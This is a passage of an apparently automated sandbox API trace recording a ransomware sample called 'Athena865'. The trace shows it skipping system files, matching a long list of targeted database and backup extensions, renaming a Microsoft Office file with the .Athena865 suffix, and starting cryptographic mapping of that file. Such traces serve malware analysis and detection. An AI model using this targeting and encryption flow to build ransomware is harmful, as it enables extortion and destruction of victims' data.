lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0087.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0087.225] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0087.237] CloseHandle (hObject=0x17c) returned 1 [0087.238] CloseHandle (hObject=0x154) returned 1 [0087.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0087.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0087.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0087.244] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67ff4500, ftCreationTime.dwHighDateTime=0x1cac1e3, ftLastAccessTime.dwLowDateTime=0x850b1da0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x67ff4500, ftLastWriteTime.dwHighDateTime=0x1cac1e3, nFileSizeHigh=0x0, nFileSizeLow=0x4c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="visio.exe.manifest", cAlternateFileName="VISIOE~1.MAN")) returned 1 [0087.244] lstrcmpiW (lpString1="visio.exe.manifest", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0087.245] lstrcmpiW (lpString1="visio.exe.manifest", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0087.245] lstrcmpiW (lpString1="visio.exe.manifest", lpString2=".") returned 1 [0087.245] lstrcmpiW (lpString1="visio.exe.manifest", lpString2="..") returned 1 [0087.245] lstrcmpiW (lpString1="visio.exe.manifest", lpString2="windows") returned -1 [0087.245] lstrcmpiW (lpString1="visio.exe.manifest", lpString2="bootmgr") returned 1 [0087.245] lstrcmpiW (lpString1="visio.exe.manifest", lpString2="temp") returned 1 [0087.245] lstrcmpiW (lpString1="visio.exe.manifest", lpString2="pagefile.sys") returned 1 [0087.245] lstrcmpiW (lpString1="visio.exe.manifest", lpString2="boot") returned 1 [0087.245] lstrcmpiW (lpString1="visio.exe.manifest", lpString2="ids.txt") returned 1 [0087.245] lstrcmpiW (lpString1="visio.exe.manifest", lpString2="ntuser.dat") returned 1 [0087.245] lstrcmpiW (lpString1="visio.exe.manifest", lpString2="perflogs") returned 1 [0087.245] lstrcmpiW (lpString1="visio.exe.manifest", lpString2="MSBuild") returned 1 [0087.245] lstrlenW (lpString="visio.exe.manifest") returned 18 [0087.245] lstrcpyW (in: lpString1=0x241e89e, lpString2="visio.exe.manifest" | out: lpString1="visio.exe.manifest") returned="visio.exe.manifest" [0087.245] lstrlenW (lpString="visio.exe.manifest") returned 18 [0087.245] lstrlenW (lpString="Athena865") returned 9 [0087.245] lstrcmpiW (lpString1=".manifest", lpString2="Athena865") returned -1 [0087.245] lstrlenW (lpString=".dll") returned 4 [0087.245] lstrcmpiW (lpString1="visio.exe.manifest", lpString2=".dll") returned 1 [0087.245] lstrlenW (lpString=".lnk") returned 4 [0087.245] lstrcmpiW (lpString1="visio.exe.manifest", lpString2=".lnk") returned 1 [0087.245] lstrlenW (lpString=".ini") returned 4 [0087.245] lstrcmpiW (lpString1="visio.exe.manifest", lpString2=".ini") returned 1 [0087.245] lstrlenW (lpString=".sys") returned 4 [0087.245] lstrcmpiW (lpString1="visio.exe.manifest", lpString2=".sys") returned 1 [0087.245] lstrlenW (lpString="visio.exe.manifest") returned 18 [0087.245] lstrlenW (lpString="bak") returned 3 [0087.245] lstrcmpiW (lpString1="est", lpString2="bak") returned 1 [0087.245] lstrlenW (lpString="ba_") returned 3 [0087.245] lstrcmpiW (lpString1="est", lpString2="ba_") returned 1 [0087.245] lstrlenW (lpString="dbb") returned 3 [0087.245] lstrcmpiW (lpString1="est", lpString2="dbb") returned 1 [0087.246] lstrlenW (lpString="vmdk") returned 4 [0087.246] lstrcmpiW (lpString1="fest", lpString2="vmdk") returned -1 [0087.246] lstrlenW (lpString="rar") returned 3 [0087.246] lstrcmpiW (lpString1="est", lpString2="rar") returned -1 [0087.246] lstrlenW (lpString="zip") returned 3 [0087.246] lstrcmpiW (lpString1="est", lpString2="zip") returned -1 [0087.246] lstrlenW (lpString="tgz") returned 3 [0087.246] lstrcmpiW (lpString1="est", lpString2="tgz") returned -1 [0087.246] lstrlenW (lpString="vbox") returned 4 [0087.246] lstrcmpiW (lpString1="fest", lpString2="vbox") returned -1 [0087.246] lstrlenW (lpString="vdi") returned 3 [0087.246] lstrcmpiW (lpString1="est", lpString2="vdi") returned -1 [0087.246] lstrlenW (lpString="vhd") returned 3 [0087.246] lstrcmpiW (lpString1="est", lpString2="vhd") returned -1 [0087.246] lstrlenW (lpString="vhdx") returned 4 [0087.246] lstrcmpiW (lpString1="fest", lpString2="vhdx") returned -1 [0087.246] lstrlenW (lpString="avhd") returned 4 [0087.246] lstrcmpiW (lpString1="fest", lpString2="avhd") returned 1 [0087.246] lstrlenW (lpString="db") returned 2 [0087.246] lstrcmpiW (lpString1="st", lpString2="db") returned 1 [0087.246] lstrlenW (lpString="db2") returned 3 [0087.246] lstrcmpiW (lpString1="est", lpString2="db2") returned 1 [0087.246] lstrlenW (lpString="db3") returned 3 [0087.246] lstrcmpiW (lpString1="est", lpString2="db3") returned 1 [0087.246] lstrlenW (lpString="dbf") returned 3 [0087.246] lstrcmpiW (lpString1="est", lpString2="dbf") returned 1 [0087.246] lstrlenW (lpString="mdf") returned 3 [0087.246] lstrcmpiW (lpString1="est", lpString2="mdf") returned -1 [0087.246] lstrlenW (lpString="mdb") returned 3 [0087.246] lstrcmpiW (lpString1="est", lpString2="mdb") returned -1 [0087.246] lstrlenW (lpString="sql") returned 3 [0087.246] lstrcmpiW (lpString1="est", lpString2="sql") returned -1 [0087.247] lstrlenW (lpString="sqlite") returned 6 [0087.247] lstrcmpiW (lpString1="nifest", lpString2="sqlite") returned -1 [0087.247] lstrlenW (lpString="sqlite3") returned 7 [0087.247] lstrcmpiW (lpString1="anifest", lpString2="sqlite3") returned -1 [0087.247] lstrlenW (lpString="sqlitedb") returned 8 [0087.247] lstrcmpiW (lpString1="manifest", lpString2="sqlitedb") returned -1 [0087.247] lstrlenW (lpString="xml") returned 3 [0087.247] lstrcmpiW (lpString1="est", lpString2="xml") returned -1 [0087.247] lstrlenW (lpString="$er") returned 3 [0087.247] lstrcmpiW (lpString1="est", lpString2="$er") returned 1 [0087.247] lstrlenW (lpString="4dd") returned 3 [0087.247] lstrcmpiW (lpString1="est", lpString2="4dd") returned 1 [0087.247] lstrlenW (lpString="4dl") returned 3 [0087.247] lstrcmpiW (lpString1="est", lpString2="4dl") returned 1 [0087.247] lstrlenW (lpString="^^^") returned 3 [0087.247] lstrcmpiW (lpString1="est", lpString2="^^^") returned 1 [0087.247] lstrlenW (lpString="abs") returned 3 [0087.247] lstrcmpiW (lpString1="est", lpString2="abs") returned 1 [0087.247] lstrlenW (lpString="abx") returned 3 [0087.247] lstrcmpiW (lpString1="est", lpString2="abx") returned 1 [0087.247] lstrlenW (lpString="accdb") returned 5 [0087.247] lstrcmpiW (lpString1="ifest", lpString2="accdb") returned 1 [0087.247] lstrlenW (lpString="accdc") returned 5 [0087.247] lstrcmpiW (lpString1="ifest", lpString2="accdc") returned 1 [0087.247] lstrlenW (lpString="accde") returned 5 [0087.247] lstrcmpiW (lpString1="ifest", lpString2="accde") returned 1 [0087.247] lstrlenW (lpString="accdr") returned 5 [0087.247] lstrcmpiW (lpString1="ifest", lpString2="accdr") returned 1 [0087.247] lstrlenW (lpString="accdt") returned 5 [0087.247] lstrcmpiW (lpString1="ifest", lpString2="accdt") returned 1 [0087.247] lstrlenW (lpString="accdw") returned 5 [0087.248] lstrcmpiW (lpString1="ifest", lpString2="accdw") returned 1 [0087.248] lstrlenW (lpString="accft") returned 5 [0087.248] lstrcmpiW (lpString1="ifest", lpString2="accft") returned 1 [0087.248] lstrlenW (lpString="adb") returned 3 [0087.248] lstrcmpiW (lpString1="est", lpString2="adb") returned 1 [0087.248] lstrlenW (lpString="adb") returned 3 [0087.248] lstrcmpiW (lpString1="est", lpString2="adb") returned 1 [0087.248] lstrlenW (lpString="ade") returned 3 [0087.248] lstrcmpiW (lpString1="est", lpString2="ade") returned 1 [0087.248] lstrlenW (lpString="adf") returned 3 [0087.248] lstrcmpiW (lpString1="est", lpString2="adf") returned 1 [0087.248] lstrlenW (lpString="adn") returned 3 [0087.248] lstrcmpiW (lpString1="est", lpString2="adn") returned 1 [0087.248] lstrlenW (lpString="adp") returned 3 [0087.248] lstrcmpiW (lpString1="est", lpString2="adp") returned 1 [0087.248] lstrlenW (lpString="alf") returned 3 [0087.248] lstrcmpiW (lpString1="est", lpString2="alf") returned 1 [0087.248] lstrlenW (lpString="ask") returned 3 [0087.248] lstrcmpiW (lpString1="est", lpString2="ask") returned 1 [0087.248] lstrlenW (lpString="btr") returned 3 [0087.248] lstrcmpiW (lpString1="est", lpString2="btr") returned 1 [0087.248] lstrlenW (lpString="cat") returned 3 [0087.248] lstrcmpiW (lpString1="est", lpString2="cat") returned 1 [0087.248] lstrlenW (lpString="cdb") returned 3 [0087.248] lstrcmpiW (lpString1="est", lpString2="cdb") returned 1 [0087.248] lstrlenW (lpString="ckp") returned 3 [0087.248] lstrcmpiW (lpString1="est", lpString2="ckp") returned 1 [0087.248] lstrlenW (lpString="cma") returned 3 [0087.248] lstrcmpiW (lpString1="est", lpString2="cma") returned 1 [0087.248] lstrlenW (lpString="cpd") returned 3 [0087.248] lstrcmpiW (lpString1="est", lpString2="cpd") returned 1 [0087.248] lstrlenW (lpString="dacpac") returned 6 [0087.249] lstrcmpiW (lpString1="nifest", lpString2="dacpac") returned 1 [0087.249] lstrlenW (lpString="dad") returned 3 [0087.249] lstrcmpiW (lpString1="est", lpString2="dad") returned 1 [0087.249] lstrlenW (lpString="dadiagrams") returned 10 [0087.249] lstrcmpiW (lpString1="e.manifest", lpString2="dadiagrams") returned 1 [0087.249] lstrlenW (lpString="daschema") returned 8 [0087.249] lstrcmpiW (lpString1="manifest", lpString2="daschema") returned 1 [0087.249] lstrlenW (lpString="db-journal") returned 10 [0087.249] lstrcmpiW (lpString1="e.manifest", lpString2="db-journal") returned 1 [0087.249] lstrlenW (lpString="db-shm") returned 6 [0087.249] lstrcmpiW (lpString1="nifest", lpString2="db-shm") returned 1 [0087.249] lstrlenW (lpString="db-wal") returned 6 [0087.249] lstrcmpiW (lpString1="nifest", lpString2="db-wal") returned 1 [0087.249] lstrlenW (lpString="dbc") returned 3 [0087.249] lstrcmpiW (lpString1="est", lpString2="dbc") returned 1 [0087.249] lstrlenW (lpString="dbs") returned 3 [0087.249] lstrcmpiW (lpString1="est", lpString2="dbs") returned 1 [0087.249] lstrlenW (lpString="dbt") returned 3 [0087.249] lstrcmpiW (lpString1="est", lpString2="dbt") returned 1 [0087.249] lstrlenW (lpString="dbv") returned 3 [0087.249] lstrcmpiW (lpString1="est", lpString2="dbv") returned 1 [0087.249] lstrlenW (lpString="dbx") returned 3 [0087.249] lstrcmpiW (lpString1="est", lpString2="dbx") returned 1 [0087.249] lstrlenW (lpString="dcb") returned 3 [0087.249] lstrcmpiW (lpString1="est", lpString2="dcb") returned 1 [0087.249] lstrlenW (lpString="dct") returned 3 [0087.249] lstrcmpiW (lpString1="est", lpString2="dct") returned 1 [0087.249] lstrlenW (lpString="dcx") returned 3 [0087.249] lstrcmpiW (lpString1="est", lpString2="dcx") returned 1 [0087.249] lstrlenW (lpString="ddl") returned 3 [0087.249] lstrcmpiW (lpString1="est", lpString2="ddl") returned 1 [0087.249] lstrlenW (lpString="dlis") returned 4 [0087.249] lstrcmpiW (lpString1="fest", lpString2="dlis") returned 1 [0087.250] lstrlenW (lpString="dp1") returned 3 [0087.250] lstrcmpiW (lpString1="est", lpString2="dp1") returned 1 [0087.250] lstrlenW (lpString="dqy") returned 3 [0087.250] lstrcmpiW (lpString1="est", lpString2="dqy") returned 1 [0087.250] lstrlenW (lpString="dsk") returned 3 [0087.250] lstrcmpiW (lpString1="est", lpString2="dsk") returned 1 [0087.250] lstrlenW (lpString="dsn") returned 3 [0087.250] lstrcmpiW (lpString1="est", lpString2="dsn") returned 1 [0087.250] lstrlenW (lpString="dtsx") returned 4 [0087.250] lstrcmpiW (lpString1="fest", lpString2="dtsx") returned 1 [0087.250] lstrlenW (lpString="dxl") returned 3 [0087.250] lstrcmpiW (lpString1="est", lpString2="dxl") returned 1 [0087.250] lstrlenW (lpString="eco") returned 3 [0087.250] lstrcmpiW (lpString1="est", lpString2="eco") returned 1 [0087.250] lstrlenW (lpString="ecx") returned 3 [0087.250] lstrcmpiW (lpString1="est", lpString2="ecx") returned 1 [0087.250] lstrlenW (lpString="edb") returned 3 [0087.250] lstrcmpiW (lpString1="est", lpString2="edb") returned 1 [0087.250] lstrlenW (lpString="epim") returned 4 [0087.250] lstrcmpiW (lpString1="fest", lpString2="epim") returned 1 [0087.250] lstrlenW (lpString="fcd") returned 3 [0087.250] lstrcmpiW (lpString1="est", lpString2="fcd") returned -1 [0087.250] lstrlenW (lpString="fdb") returned 3 [0087.250] lstrcmpiW (lpString1="est", lpString2="fdb") returned -1 [0087.250] lstrlenW (lpString="fic") returned 3 [0087.250] lstrcmpiW (lpString1="est", lpString2="fic") returned -1 [0087.250] lstrlenW (lpString="flexolibrary") returned 12 [0087.250] lstrcmpiW (lpString1="exe.manifest", lpString2="flexolibrary") returned -1 [0087.250] lstrlenW (lpString="fm5") returned 3 [0087.250] lstrcmpiW (lpString1="est", lpString2="fm5") returned -1 [0087.250] lstrlenW (lpString="fmp") returned 3 [0087.251] lstrcmpiW (lpString1="est", lpString2="fmp") returned -1 [0087.251] lstrlenW (lpString="fmp12") returned 5 [0087.251] lstrcmpiW (lpString1="ifest", lpString2="fmp12") returned 1 [0087.251] lstrlenW (lpString="fmpsl") returned 5 [0087.251] lstrcmpiW (lpString1="ifest", lpString2="fmpsl") returned 1 [0087.251] lstrlenW (lpString="fol") returned 3 [0087.251] lstrcmpiW (lpString1="est", lpString2="fol") returned -1 [0087.251] lstrlenW (lpString="fp3") returned 3 [0087.251] lstrcmpiW (lpString1="est", lpString2="fp3") returned -1 [0087.251] lstrlenW (lpString="fp4") returned 3 [0087.251] lstrcmpiW (lpString1="est", lpString2="fp4") returned -1 [0087.251] lstrlenW (lpString="fp5") returned 3 [0087.251] lstrcmpiW (lpString1="est", lpString2="fp5") returned -1 [0087.251] lstrlenW (lpString="fp7") returned 3 [0087.251] lstrcmpiW (lpString1="est", lpString2="fp7") returned -1 [0087.251] lstrlenW (lpString="fpt") returned 3 [0087.251] lstrcmpiW (lpString1="est", lpString2="fpt") returned -1 [0087.251] lstrlenW (lpString="frm") returned 3 [0087.251] lstrcmpiW (lpString1="est", lpString2="frm") returned -1 [0087.251] lstrlenW (lpString="gdb") returned 3 [0087.251] lstrcmpiW (lpString1="est", lpString2="gdb") returned -1 [0087.251] lstrlenW (lpString="gdb") returned 3 [0087.251] lstrcmpiW (lpString1="est", lpString2="gdb") returned -1 [0087.251] lstrlenW (lpString="grdb") returned 4 [0087.251] lstrcmpiW (lpString1="fest", lpString2="grdb") returned -1 [0087.251] lstrlenW (lpString="gwi") returned 3 [0087.251] lstrcmpiW (lpString1="est", lpString2="gwi") returned -1 [0087.251] lstrlenW (lpString="hdb") returned 3 [0087.251] lstrcmpiW (lpString1="est", lpString2="hdb") returned -1 [0087.251] lstrlenW (lpString="his") returned 3 [0087.251] lstrcmpiW (lpString1="est", lpString2="his") returned -1 [0087.251] lstrlenW (lpString="ib") returned 2 [0087.252] lstrcmpiW (lpString1="st", lpString2="ib") returned 1 [0087.252] lstrlenW (lpString="idb") returned 3 [0087.252] lstrcmpiW (lpString1="est", lpString2="idb") returned -1 [0087.252] lstrlenW (lpString="ihx") returned 3 [0087.252] lstrcmpiW (lpString1="est", lpString2="ihx") returned -1 [0087.252] lstrlenW (lpString="itdb") returned 4 [0087.252] lstrcmpiW (lpString1="fest", lpString2="itdb") returned -1 [0087.252] lstrlenW (lpString="itw") returned 3 [0087.252] lstrcmpiW (lpString1="est", lpString2="itw") returned -1 [0087.252] lstrlenW (lpString="jet") returned 3 [0087.252] lstrcmpiW (lpString1="est", lpString2="jet") returned -1 [0087.252] lstrlenW (lpString="jtx") returned 3 [0087.252] lstrcmpiW (lpString1="est", lpString2="jtx") returned -1 [0087.252] lstrlenW (lpString="kdb") returned 3 [0087.252] lstrcmpiW (lpString1="est", lpString2="kdb") returned -1 [0087.252] lstrlenW (lpString="kexi") returned 4 [0087.252] lstrcmpiW (lpString1="fest", lpString2="kexi") returned -1 [0087.252] lstrlenW (lpString="kexic") returned 5 [0087.252] lstrcmpiW (lpString1="ifest", lpString2="kexic") returned -1 [0087.252] lstrlenW (lpString="kexis") returned 5 [0087.252] lstrcmpiW (lpString1="ifest", lpString2="kexis") returned -1 [0087.252] lstrlenW (lpString="lgc") returned 3 [0087.252] lstrcmpiW (lpString1="est", lpString2="lgc") returned -1 [0087.252] lstrlenW (lpString="lwx") returned 3 [0087.252] lstrcmpiW (lpString1="est", lpString2="lwx") returned -1 [0087.252] lstrlenW (lpString="maf") returned 3 [0087.252] lstrcmpiW (lpString1="est", lpString2="maf") returned -1 [0087.252] lstrlenW (lpString="maq") returned 3 [0087.252] lstrcmpiW (lpString1="est", lpString2="maq") returned -1 [0087.252] lstrlenW (lpString="mar") returned 3 [0087.252] lstrcmpiW (lpString1="est", lpString2="mar") returned -1 [0087.252] lstrlenW (lpString="marshal") returned 7 [0087.253] lstrcmpiW (lpString1="anifest", lpString2="marshal") returned -1 [0087.253] lstrlenW (lpString="mas") returned 3 [0087.253] lstrcmpiW (lpString1="est", lpString2="mas") returned -1 [0087.253] lstrlenW (lpString="mav") returned 3 [0087.253] lstrcmpiW (lpString1="est", lpString2="mav") returned -1 [0087.253] lstrlenW (lpString="maw") returned 3 [0087.253] lstrcmpiW (lpString1="est", lpString2="maw") returned -1 [0087.253] lstrlenW (lpString="mdbhtml") returned 7 [0087.253] lstrcmpiW (lpString1="anifest", lpString2="mdbhtml") returned -1 [0087.253] lstrlenW (lpString="mdn") returned 3 [0087.253] lstrcmpiW (lpString1="est", lpString2="mdn") returned -1 [0087.253] lstrlenW (lpString="mdt") returned 3 [0087.253] lstrcmpiW (lpString1="est", lpString2="mdt") returned -1 [0087.253] lstrlenW (lpString="mfd") returned 3 [0087.253] lstrcmpiW (lpString1="est", lpString2="mfd") returned -1 [0087.253] lstrlenW (lpString="mpd") returned 3 [0087.253] lstrcmpiW (lpString1="est", lpString2="mpd") returned -1 [0087.253] lstrlenW (lpString="mrg") returned 3 [0087.253] lstrcmpiW (lpString1="est", lpString2="mrg") returned -1 [0087.253] lstrlenW (lpString="mud") returned 3 [0087.253] lstrcmpiW (lpString1="est", lpString2="mud") returned -1 [0087.253] lstrlenW (lpString="mwb") returned 3 [0087.253] lstrcmpiW (lpString1="est", lpString2="mwb") returned -1 [0087.253] lstrlenW (lpString="myd") returned 3 [0087.253] lstrcmpiW (lpString1="est", lpString2="myd") returned -1 [0087.253] lstrlenW (lpString="ndf") returned 3 [0087.253] lstrcmpiW (lpString1="est", lpString2="ndf") returned -1 [0087.253] lstrlenW (lpString="nnt") returned 3 [0087.253] lstrcmpiW (lpString1="est", lpString2="nnt") returned -1 [0087.254] lstrlenW (lpString="nrmlib") returned 6 [0087.254] lstrcmpiW (lpString1="nifest", lpString2="nrmlib") returned -1 [0087.254] lstrlenW (lpString="ns2") returned 3 [0087.254] lstrcmpiW (lpString1="est", lpString2="ns2") returned -1 [0087.254] lstrlenW (lpString="ns3") returned 3 [0087.254] lstrcmpiW (lpString1="est", lpString2="ns3") returned -1 [0087.254] lstrlenW (lpString="ns4") returned 3 [0087.254] lstrcmpiW (lpString1="est", lpString2="ns4") returned -1 [0087.254] lstrlenW (lpString="nsf") returned 3 [0087.254] lstrcmpiW (lpString1="est", lpString2="nsf") returned -1 [0087.254] lstrlenW (lpString="nv") returned 2 [0087.254] lstrcmpiW (lpString1="st", lpString2="nv") returned 1 [0087.254] lstrlenW (lpString="nv2") returned 3 [0087.254] lstrcmpiW (lpString1="est", lpString2="nv2") returned -1 [0087.254] lstrlenW (lpString="nwdb") returned 4 [0087.254] lstrcmpiW (lpString1="fest", lpString2="nwdb") returned -1 [0087.254] lstrlenW (lpString="nyf") returned 3 [0087.254] lstrcmpiW (lpString1="est", lpString2="nyf") returned -1 [0087.254] lstrlenW (lpString="odb") returned 3 [0087.254] lstrcmpiW (lpString1="est", lpString2="odb") returned -1 [0087.254] lstrlenW (lpString="odb") returned 3 [0087.254] lstrcmpiW (lpString1="est", lpString2="odb") returned -1 [0087.254] lstrlenW (lpString="oqy") returned 3 [0087.254] lstrcmpiW (lpString1="est", lpString2="oqy") returned -1 [0087.254] lstrlenW (lpString="ora") returned 3 [0087.254] lstrcmpiW (lpString1="est", lpString2="ora") returned -1 [0087.254] lstrlenW (lpString="orx") returned 3 [0087.254] lstrcmpiW (lpString1="est", lpString2="orx") returned -1 [0087.254] lstrlenW (lpString="owc") returned 3 [0087.254] lstrcmpiW (lpString1="est", lpString2="owc") returned -1 [0087.254] lstrlenW (lpString="p96") returned 3 [0087.254] lstrcmpiW (lpString1="est", lpString2="p96") returned -1 [0087.254] lstrlenW (lpString="p97") returned 3 [0087.255] lstrcmpiW (lpString1="est", lpString2="p97") returned -1 [0087.255] lstrlenW (lpString="pan") returned 3 [0087.255] lstrcmpiW (lpString1="est", lpString2="pan") returned -1 [0087.255] lstrlenW (lpString="pdb") returned 3 [0087.255] lstrcmpiW (lpString1="est", lpString2="pdb") returned -1 [0087.255] lstrlenW (lpString="pdm") returned 3 [0087.255] lstrcmpiW (lpString1="est", lpString2="pdm") returned -1 [0087.255] lstrlenW (lpString="pnz") returned 3 [0087.255] lstrcmpiW (lpString1="est", lpString2="pnz") returned -1 [0087.255] lstrlenW (lpString="qry") returned 3 [0087.255] lstrcmpiW (lpString1="est", lpString2="qry") returned -1 [0087.255] lstrlenW (lpString="qvd") returned 3 [0087.255] lstrcmpiW (lpString1="est", lpString2="qvd") returned -1 [0087.255] lstrlenW (lpString="rbf") returned 3 [0087.255] lstrcmpiW (lpString1="est", lpString2="rbf") returned -1 [0087.255] lstrlenW (lpString="rctd") returned 4 [0087.255] lstrcmpiW (lpString1="fest", lpString2="rctd") returned -1 [0087.255] lstrlenW (lpString="rod") returned 3 [0087.255] lstrcmpiW (lpString1="est", lpString2="rod") returned -1 [0087.255] lstrlenW (lpString="rodx") returned 4 [0087.255] lstrcmpiW (lpString1="fest", lpString2="rodx") returned -1 [0087.255] lstrlenW (lpString="rpd") returned 3 [0087.255] lstrcmpiW (lpString1="est", lpString2="rpd") returned -1 [0087.255] lstrlenW (lpString="rsd") returned 3 [0087.255] lstrcmpiW (lpString1="est", lpString2="rsd") returned -1 [0087.255] lstrlenW (lpString="sas7bdat") returned 8 [0087.255] lstrcmpiW (lpString1="manifest", lpString2="sas7bdat") returned -1 [0087.255] lstrlenW (lpString="sbf") returned 3 [0087.255] lstrcmpiW (lpString1="est", lpString2="sbf") returned -1 [0087.255] lstrlenW (lpString="scx") returned 3 [0087.255] lstrcmpiW (lpString1="est", lpString2="scx") returned -1 [0087.255] lstrlenW (lpString="sdb") returned 3 [0087.256] lstrcmpiW (lpString1="est", lpString2="sdb") returned -1 [0087.256] lstrlenW (lpString="sdc") returned 3 [0087.256] lstrcmpiW (lpString1="est", lpString2="sdc") returned -1 [0087.256] lstrlenW (lpString="sdf") returned 3 [0087.256] lstrcmpiW (lpString1="est", lpString2="sdf") returned -1 [0087.256] lstrlenW (lpString="sis") returned 3 [0087.256] lstrcmpiW (lpString1="est", lpString2="sis") returned -1 [0087.256] lstrlenW (lpString="spq") returned 3 [0087.256] lstrcmpiW (lpString1="est", lpString2="spq") returned -1 [0087.256] lstrlenW (lpString="te") returned 2 [0087.256] lstrcmpiW (lpString1="st", lpString2="te") returned -1 [0087.256] lstrlenW (lpString="teacher") returned 7 [0087.256] lstrcmpiW (lpString1="anifest", lpString2="teacher") returned -1 [0087.256] lstrlenW (lpString="tmd") returned 3 [0087.256] lstrcmpiW (lpString1="est", lpString2="tmd") returned -1 [0087.256] lstrlenW (lpString="tps") returned 3 [0087.256] lstrcmpiW (lpString1="est", lpString2="tps") returned -1 [0087.256] lstrlenW (lpString="trc") returned 3 [0087.256] lstrcmpiW (lpString1="est", lpString2="trc") returned -1 [0087.256] lstrlenW (lpString="trc") returned 3 [0087.256] lstrcmpiW (lpString1="est", lpString2="trc") returned -1 [0087.256] lstrlenW (lpString="trm") returned 3 [0087.256] lstrcmpiW (lpString1="est", lpString2="trm") returned -1 [0087.256] lstrlenW (lpString="udb") returned 3 [0087.256] lstrcmpiW (lpString1="est", lpString2="udb") returned -1 [0087.256] lstrlenW (lpString="udl") returned 3 [0087.256] lstrcmpiW (lpString1="est", lpString2="udl") returned -1 [0087.256] lstrlenW (lpString="usr") returned 3 [0087.256] lstrcmpiW (lpString1="est", lpString2="usr") returned -1 [0087.256] lstrlenW (lpString="v12") returned 3 [0087.256] lstrcmpiW (lpString1="est", lpString2="v12") returned -1 [0087.256] lstrlenW (lpString="vis") returned 3 [0087.257] lstrcmpiW (lpString1="est", lpString2="vis") returned -1 [0087.257] lstrlenW (lpString="vpd") returned 3 [0087.257] lstrcmpiW (lpString1="est", lpString2="vpd") returned -1 [0087.257] lstrlenW (lpString="vvv") returned 3 [0087.257] lstrcmpiW (lpString1="est", lpString2="vvv") returned -1 [0087.257] lstrlenW (lpString="wdb") returned 3 [0087.257] lstrcmpiW (lpString1="est", lpString2="wdb") returned -1 [0087.257] lstrlenW (lpString="wmdb") returned 4 [0087.257] lstrcmpiW (lpString1="fest", lpString2="wmdb") returned -1 [0087.257] lstrlenW (lpString="wrk") returned 3 [0087.257] lstrcmpiW (lpString1="est", lpString2="wrk") returned -1 [0087.258] lstrlenW (lpString="xdb") returned 3 [0087.258] lstrcmpiW (lpString1="est", lpString2="xdb") returned -1 [0087.258] lstrlenW (lpString="xld") returned 3 [0087.258] lstrcmpiW (lpString1="est", lpString2="xld") returned -1 [0087.258] lstrlenW (lpString="xmlff") returned 5 [0087.258] lstrcmpiW (lpString1="ifest", lpString2="xmlff") returned -1 [0087.258] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\visio.exe.manifest.Athena865") returned 71 [0087.258] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\visio.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\visio.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\visio.exe.manifest.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visio.exe.manifest.athena865"), dwFlags=0x1) returned 1 [0087.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\visio.exe.manifest.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visio.exe.manifest.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0087.262] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1217) returned 1 [0087.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0087.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0087.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0087.263] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0087.263] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0087.263] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.264] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d0, lpName=0x0) returned 0x17c [0087.265] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7d0) returned 0x100000 [0087.266] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0087.269] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0087.269] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.269] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0087.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0087.269] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0087.269] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, 